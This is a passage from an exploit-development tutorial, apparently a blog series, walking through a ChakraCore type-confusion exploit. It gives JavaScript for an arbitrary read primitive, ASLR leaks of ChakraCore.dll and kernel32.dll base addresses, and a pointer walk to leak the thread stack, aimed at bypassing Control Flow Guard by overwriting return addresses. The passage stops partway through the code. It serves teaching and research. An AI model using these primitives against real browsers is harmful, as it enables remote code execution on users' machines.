<p>You may also wonder, our <code class="language-plaintext highlighter-rouge">iatEntry</code> is being treated as an array. This is actually because our <code class="language-plaintext highlighter-rouge">read64()</code> function returns an array of two 32-bit values. This is because we are reading 64-bit pointer-sized values, but remember that JavaScript only provides us with means to deal with 32-bit values at a time. Because of this, <code class="language-plaintext highlighter-rouge">read64()</code> stores the 64-bit address in two separated 32-bit values, which are managed by an array. We can see this by recalling the <code class="language-plaintext highlighter-rouge">read64()</code> function.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Arbitrary read function</span>
<span class="kd">function</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">lo</span><span class="p">,</span> <span class="nx">hi</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x38</span><span class="p">,</span> <span class="nx">lo</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// DataView+0x38 = dataview2-&gt;buffer</span>
    <span class="nx">dataview1</span><span class="p">.</span><span class="nx">setUint32</span><span class="p">(</span><span class="mh">0x3C</span><span class="p">,</span> <span class="nx">hi</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>        <span class="c1">// We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)</span>

    <span class="c1">// Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away</span>
    <span class="c1">// Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this</span>
    <span class="kd">var</span> <span class="nx">arrayRead</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>
    <span class="nx">arrayRead</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>   <span class="c1">// 4-byte arbitrary read</span>

    <span class="c1">// Return the array</span>
    <span class="k">return</span> <span class="nx">arrayRead</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We now have pretty much all of the information we need in order to get started with code execution. Let’s see how we can go from ASLR leak to code execution, bearing in mind Control Flow Guard (CFG) and DEP are still items we need to deal with.</p>

<h2 id="code-execution---cfg-edition">Code Execution - CFG Edition</h2>
<p>In my previous <a href="https://connormcgarr.github.io/browser1/">post</a> on exploiting Internet Explorer, we achieved code execution by faking a <code class="language-plaintext highlighter-rouge">vftable</code> and overwriting the function pointer with our ROP chain. This method is not possible in ChakraCore, or Edge, because of CFG.</p>

<p>CFG is an exploit mitigation that validates any indirect function calls. Any function call that performs <code class="language-plaintext highlighter-rouge">call qword ptr [reg]</code> would be considered an indirect function call, because there is no way for the program to know what RAX is pointing to when the call happens, so if an attacker was able to overwrite the pointer being called, they obviously can redirect execution anywhere in memory they control. This exact scenario is what we accomplished with our Internet Explorer vulnerability, but that is no longer possible.</p>

<p>With CFG enabled, anytime one of these indirect function calls is executed, we can now actually check to ensure that the function wasn’t overwritten with a nefarious address, controlled by an attacker. I won’t go into more detail, as I have already written about control-flow integrity on Windows <a href="https://connormcgarr.github.io/examining-xfg/">before</a>, but CFG basically means that we can’t overwrite a function pointer to gain code execution. So how do we go about this?</p>

<p>CFG is a forward-edge control-flow integrity solution. This means that anytime a <code class="language-plaintext highlighter-rouge">call</code> happens, CFG has the ability to check the function to ensure it hasn’t been corrupted. However, what about <em>other</em> control-flow transfer instructions, like a <code class="language-plaintext highlighter-rouge">return</code> instruction?</p>

<p><code class="language-plaintext highlighter-rouge">call</code> isn’t the only way a program can redirect execution to another part of a PE or loaded image. <code class="language-plaintext highlighter-rouge">ret</code> is also an instruction that redirects execution somewhere else in memory. The way a <code class="language-plaintext highlighter-rouge">ret</code> instruction works, is that the value at RSP (the stack pointer) is loaded into RIP (the instruction pointer) for execution. If we think about a simple stack overflow, this is what we do essentially. We use the primitive to corrupt the stack to locate the <code class="language-plaintext highlighter-rouge">ret</code> address, and we overwrite it with another address in memory. This leads to control-flow hijacking, and the attacker can control the program.</p>

<p>Since we know a <code class="language-plaintext highlighter-rouge">ret</code> is capable of transferring control-flow somewhere <em>else</em> in memory, and since CFG doesn’t inspect <code class="language-plaintext highlighter-rouge">ret</code> instructions, we can simply use a primitive like how a traditional stack overflow works! We can locate a <code class="language-plaintext highlighter-rouge">ret</code> address that is on the stack (at the time of execution) in an executing thread, and we can overwrite that return address with data we control (such as a ROP gadget which returns into our ROP chain). We know this <code class="language-plaintext highlighter-rouge">ret</code> address will eventually be executed, because the program will need to use this return address to return execution to where it was before a given function (who’s return address we will corrupt) is overwritten.</p>

<p>The issue, however, is we have no idea where the stack is for the current thread, or other threads for that manner. Let’s see how we can leverage Chakra/ChakraCore’s architecture to leak a stack address.</p>

<h2 id="leaking-a-stack-address">Leaking a Stack Address</h2>
<p>In order to find a return address to overwrite on the stack (really any active thread’s stack that is still committed to memory, as we will see in part three), we first need to find out where a stack address is. Ivan Fratric of Google Project Zero posted an <a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1360">issue</a> awhile back about this exact scenario. As Ivan explains, a <code class="language-plaintext highlighter-rouge">ThreadContext</code> instance in ChakraCore contains stack pointers, such as <code class="language-plaintext highlighter-rouge">stackLimitForCurrentThread</code>. The chain of pointers is as follows: <code class="language-plaintext highlighter-rouge">type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</code>. Notice anything about this? Notice the first pointer in the chain - <code class="language-plaintext highlighter-rouge">type</code>. As we know, a dynamic object is laid out in memory where <code class="language-plaintext highlighter-rouge">vftable</code> is the first hidden property, and <code class="language-plaintext highlighter-rouge">type</code> is the second! We already know we can leak the <code class="language-plaintext highlighter-rouge">vftable</code> of our <code class="language-plaintext highlighter-rouge">dataview2</code> object (which we used to bypass ASLR). Let’s update our <code class="language-plaintext highlighter-rouge">exploit.js</code> to also leak the <code class="language-plaintext highlighter-rouge">type</code> of our <code class="language-plaintext highlighter-rouge">dataview2</code> object, in order to follow this chain of pointers Ivan talks about.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="p">(...)</span><span class="nx">truncated</span><span class="p">(...)</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>

    <span class="c1">// Store the base of chakracore.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x1961298</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] ChakraCore.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>

    <span class="c1">// Leak a pointer to kernel32.dll from ChakraCore's IAT (for who's base address we already have)</span>
    <span class="nx">iatEntry</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x17c0000</span><span class="o">+</span><span class="mh">0x40</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>     <span class="c1">// KERNEL32!RaiseExceptionStub pointer</span>

    <span class="c1">// Store the upper part of kernel32.dll</span>
    <span class="nx">kernel32High</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the lower part of kernel32.dll</span>
    <span class="nx">kernel32Lo</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">-</span> <span class="mh">0x1d890</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernel32.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32High</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32Lo</span><span class="p">));</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>We can see our exploit controls <code class="language-plaintext highlighter-rouge">dataview2-&gt;type</code> by way of <code class="language-plaintext highlighter-rouge">typeLo</code> and <code class="language-plaintext highlighter-rouge">typeHigh</code>.</p>

<p>Let’s now walk these structures in WinDbg to identify a stack address. Load up <code class="language-plaintext highlighter-rouge">exploit.js</code> in WinDbg and set a breakpoint on <code class="language-plaintext highlighter-rouge">chakracore!Js::DataView::EntrySetUint32</code>. When we hit this function, we know we are bound to see a dynamic object (<code class="language-plaintext highlighter-rouge">DataView</code>) in memory. We can then walk these pointers.</p>

<p><img src="/images/2typeconfusion74.png" alt="" /></p>

<p>After hitting our breakpoint, let’s scroll down into the disassembly and set a breakpoint on the all-familiar <code class="language-plaintext highlighter-rouge">SetValue()</code> method.</p>

<p><img src="/images/2typeconfusion75.png" alt="" /></p>

<p>After setting the breakpoint, we can hit <code class="language-plaintext highlighter-rouge">g</code> in the debugger and inspect the RCX register, which should be a <code class="language-plaintext highlighter-rouge">DataView</code> object.</p>

<p><img src="/images/2typeconfusion76.png" alt="" /></p>

<p>The <code class="language-plaintext highlighter-rouge">javascriptLibrary</code> pointer is the first item we are looking for, per the Project Zero issue. We can find this pointer at an offset of <code class="language-plaintext highlighter-rouge">0x8</code> inside the <code class="language-plaintext highlighter-rouge">type</code> pointer.</p>

<p><img src="/images/2typeconfusion77.png" alt="" /></p>

<p>From the <code class="language-plaintext highlighter-rouge">javascriptLibrary</code> pointer, we can retrieve the next item we are looking for - a <code class="language-plaintext highlighter-rouge">ScriptContext</code> structure. According to the Project Zero issue, this should be at an offset of <code class="language-plaintext highlighter-rouge">javascriptLibrary+0x430</code>. However, the Project Zero issue is considering Microsoft Edge, and the Chakra engine. Although we are leveraging CharkraCore, which is identical in most aspects to Chakra, the offsets of the structures are <em>slightly</em> different (when we port our exploit to Edge in part three, we will see we use the exact same offsets as the Project Zero issue). Our <code class="language-plaintext highlighter-rouge">ScriptContext</code> pointer is located at <code class="language-plaintext highlighter-rouge">javascriptLibrary+0x450</code>.</p>

<p><img src="/images/2typeconfusion78.png" alt="" /></p>

<p>Perfect! Now that we have the <code class="language-plaintext highlighter-rouge">ScriptContext</code> pointer, we can compute the next offset - which should be our <code class="language-plaintext highlighter-rouge">ThreadContext</code> structure. This is found at <code class="language-plaintext highlighter-rouge">scriptContext+0x3b8</code> in ChakraCore (the offset is different in Chakra/Edge).</p>

<p><img src="/images/2typeconfusion79.png" alt="" /></p>

<p>Perfect! After leaking the <code class="language-plaintext highlighter-rouge">ThreadContext</code> pointer, we can go ahead and parse this with the <code class="language-plaintext highlighter-rouge">dt</code> command in WinDbg, since ChakraCore is open-sourced and we have the symbols.</p>

<p><img src="/images/2typeconfusion80.png" alt="" /></p>

<p>As we can see above, ChakraCore/Chakra stores various stack addresses within this structure! This is fortunate for us, as now we can use our arbitrary read primitive to locate the stack! The only thing to notice is that this stack address is not from the currently executing thread (our exploiting thread). We can view this by using the <code class="language-plaintext highlighter-rouge">!teb</code> command in WinDbg to view information about the current thread, and see how the leaked address fairs.</p>

<p><img src="/images/2typeconfusion81.png" alt="" /></p>

<p>As we can see, we are <code class="language-plaintext highlighter-rouge">0xed000</code> bytes away from the <code class="language-plaintext highlighter-rouge">StackLimit</code> of the current thread. This is perfectly okay, because this value won’t change in between reboots or ChakraCore being restated. This will be subject to change in our Edge exploit, and we will leak a <em>different</em> stack address within this structure. For now though, let’s use <code class="language-plaintext highlighter-rouge">stackLimitForCurrentThread</code>.</p>

<p>Here is our updated code, including the stack leak.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="p">(...)</span><span class="nx">truncated</span><span class="p">(...)</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>

    <span class="c1">// Store the base of chakracore.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x1961298</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] ChakraCore.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>

    <span class="c1">// Leak a pointer to kernel32.dll from ChakraCore's IAT (for who's base address we already have)</span>
    <span class="nx">iatEntry</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x17c0000</span><span class="o">+</span><span class="mh">0x40</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>     <span class="c1">// KERNEL32!RaiseExceptionStub pointer</span>

    <span class="c1">// Store the upper part of kernel32.dll</span>
    <span class="nx">kernel32High</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the lower part of kernel32.dll</span>
    <span class="nx">kernel32Lo</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">-</span> <span class="mh">0x1d890</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernel32.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32High</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32Lo</span><span class="p">));</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary (lcoated at type+0x8)</span>
    <span class="nx">javascriptLibrary</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">typeLo</span><span class="o">+</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">typeHigh</span><span class="p">);</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary-&gt;scriptContext (located at javascriptLibrary+0x450)</span>
    <span class="nx">scriptContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x450</span><span class="p">,</span> <span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak type-&gt;javascripLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">threadContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">scriptContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x3b8</span><span class="p">,</span> <span class="nx">scriptContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;stackLimitForCurrentThread (located at threadContext+0xc8)</span>
    <span class="nx">stackAddress</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">threadContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0xc8</span><span class="p">,</span> <span class="nx">threadContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaked stack from type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;stackLimitForCurrentThread!</span><span class="dl">"</span><span class="p">);</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack leak: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>

    <span class="c1">// Compute the stack limit for the current thread and store it in an array</span>
    <span class="kd">var</span> <span class="nx">stackLeak</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint32Array</span><span class="p">(</span><span class="mh">0x10</span><span class="p">);</span>
    <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stackAddress</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="mh">0xed000</span><span class="p">;</span>
    <span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">stackAddress</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Stack limit: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">stackLeak</span><span class="p">[</span><span class="mi">0</span><span class="p">]));</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>Executing the code shows us that we have successfully leaked the stack for our current thread</p>

<p><img src="/images/2typeconfusion82.png" alt="" /></p>

<p>Now that we have the stack located, we can scan the stack to locate a return address, which we can corrupt to gain code execution.</p>

<h2 id="locating-a-return-address">Locating a Return Address</h2>
<p>Now that we have a read primitive <em>and</em> we know where the stack is located. With this ability, we can now “scan the stack” in search for any return addresses. As we know, when a <code class="language-plaintext highlighter-rouge">call</code> instruction occurs, the function being called pushes their return address onto the stack. This is so the function knows where to return execution after it is done executing and is ready to perform the <code class="language-plaintext highlighter-rouge">ret</code>. What we will be doing is locating the place on the stack where a function has pushed this return address, and we will corrupt it with some data we control.</p>

<p>To locate an optimal return address - we can take multiple approaches. The approach we will take will be that of a “brute-force” approach. This means we put a loop in our exploit that scans the entire stack for its contents. Any address of that starts with <code class="language-plaintext highlighter-rouge">0x7fff</code> we can assume was a return address pushed on to the stack (this is actually a <em>slight</em> misnomer, as other data is located on the stack). We can then look at a few addresses in WinDbg to confirm if they are return addresses are not, and overwrite them accordingly. Do not worry if this seems like a daunting process, I will walk you through it.</p>

<p>Let’s start by adding a loop in our <code class="language-plaintext highlighter-rouge">exploit.js</code> which scans the stack.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="p">(...)</span><span class="nx">truncated</span><span class="p">(...)</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>     <span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>

    <span class="c1">// Corrupt obj-&gt;auxSlots with the address of the first DataView object</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">;</span>

    <span class="c1">// Corrupt dataview1-&gt;buffer with the address of the second DataView object</span>
    <span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="nx">dataview2</span><span class="p">;</span>

    <span class="c1">// dataview1 methods act on dataview2 object</span>
    <span class="c1">// Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function</span>
    <span class="nx">vtableLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">vtableHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x4</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Extract dataview2-&gt;type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...</span>
    <span class="c1">// ... type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">typeLo</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0x8</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
    <span class="nx">typeHigh</span> <span class="o">=</span> <span class="nx">dataview1</span><span class="p">.</span><span class="nx">getUint32</span><span class="p">(</span><span class="mh">0xC</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">vtableLo</span><span class="p">));</span>

    <span class="c1">// Store the base of chakracore.dll</span>
    <span class="nx">chakraLo</span> <span class="o">=</span> <span class="nx">vtableLo</span> <span class="o">-</span> <span class="mh">0x1961298</span><span class="p">;</span>
    <span class="nx">chakraHigh</span> <span class="o">=</span> <span class="nx">vtableHigh</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] ChakraCore.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraHigh</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">chakraLo</span><span class="p">));</span>

    <span class="c1">// Leak a pointer to kernel32.dll from ChakraCore's IAT (for who's base address we already have)</span>
    <span class="nx">iatEntry</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x17c0000</span><span class="o">+</span><span class="mh">0x40</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>     <span class="c1">// KERNEL32!RaiseExceptionStub pointer</span>

    <span class="c1">// Store the upper part of kernel32.dll</span>
    <span class="nx">kernel32High</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>

    <span class="c1">// Store the lower part of kernel32.dll</span>
    <span class="nx">kernel32Lo</span> <span class="o">=</span> <span class="nx">iatEntry</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">-</span> <span class="mh">0x1d890</span><span class="p">;</span>

    <span class="c1">// Print update</span>
    <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] kernel32.dll base address: 0x</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32High</span><span class="p">)</span> <span class="o">+</span> <span class="nx">hex</span><span class="p">(</span><span class="nx">kernel32Lo</span><span class="p">));</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary (lcoated at type+0x8)</span>
    <span class="nx">javascriptLibrary</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">typeLo</span><span class="o">+</span><span class="mh">0x8</span><span class="p">,</span> <span class="nx">typeHigh</span><span class="p">);</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary-&gt;scriptContext (located at javascriptLibrary+0x450)</span>
    <span class="nx">scriptContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x450</span><span class="p">,</span> <span class="nx">javascriptLibrary</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak type-&gt;javascripLibrary-&gt;scriptContext-&gt;threadContext</span>
    <span class="nx">threadContext</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">scriptContext</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="mh">0x3b8</span><span class="p">,</span> <span class="nx">scriptContext</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>

    <span class="c1">// Leak type-&gt;javascriptLibrary-&gt;scriptContext-&gt;threadContext-&gt;stackLimitForCurrentThread (located at threadContext+0xc8)</span>
